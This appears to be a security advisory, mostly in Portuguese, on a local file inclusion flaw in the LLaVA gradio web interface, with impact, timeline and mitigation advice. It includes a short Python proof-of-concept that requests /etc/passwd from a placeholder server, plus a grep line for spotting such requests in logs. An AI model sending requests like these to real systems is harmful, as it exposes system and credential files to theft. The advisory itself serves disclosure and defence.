Inclusão de Arquivo Local em haotian-liu/llava

A exploração bem-sucedida desta vulnerabilidade permite que um atacante obtenha acesso não autorizado a arquivos confidenciais armazenados no sistema. Isso pode incluir informações sensíveis como chaves de API, senhas, dados de configuração e código-fonte. O atacante pode, potencialmente, ler arquivos de sistema, comprometendo a integridade e a confidencialidade dos dados. Em cenários mais graves, a inclusão de arquivos maliciosos pode levar à execução remota de código, permitindo o controle total do sistema. A falta de validação de entrada na interface gradio facilita a exploração, tornando a vulnerabilidade particularmente perigosa.

Users deploying LLaVA for research or experimentation, particularly those using the gradio web UI for interactive demonstrations, are at risk. Shared hosting environments where LLaVA is deployed alongside other applications are also vulnerable, as a successful exploit could potentially compromise the entire host.

• python / server:

import os
import requests

# Target URL
url = "http://your-llava-server/gradio_app"

# Attempt to read a sensitive file
file_to_read = "/etc/passwd"

# Craft the request
params = {'file': file_to_read}

# Send the request
response = requests.get(url, params=params)

# Check the response
if response.status_code == 200:
    print(f"File content: {response.text}")
else:
    print(f"Request failed with status code: {response.status_code}")

• linux / server:

# Monitor access logs for suspicious file requests
grep -i "/etc/passwd" /var/log/apache2/access.log

1. 2025-03-20Disclosure

   disclosure

1. Reservado2024-12-02
2. Publicada2025-03-20
3. Modificada2025-10-15
4. EPSS atualizado2026-04-02

A mitigação primária é atualizar o projeto llava para uma versão corrigida, assim que disponível. Enquanto a atualização não for possível, implemente medidas de segurança adicionais. Restrinja o acesso à interface web gradio, permitindo apenas conexões de fontes confiáveis. Implemente validação rigorosa de todas as entradas do usuário, garantindo que apenas arquivos autorizados sejam acessados. Monitore os logs do sistema em busca de atividades suspeitas, como tentativas de acesso a arquivos não autorizados. Considere o uso de um Web Application Firewall (WAF) para bloquear requisições maliciosas.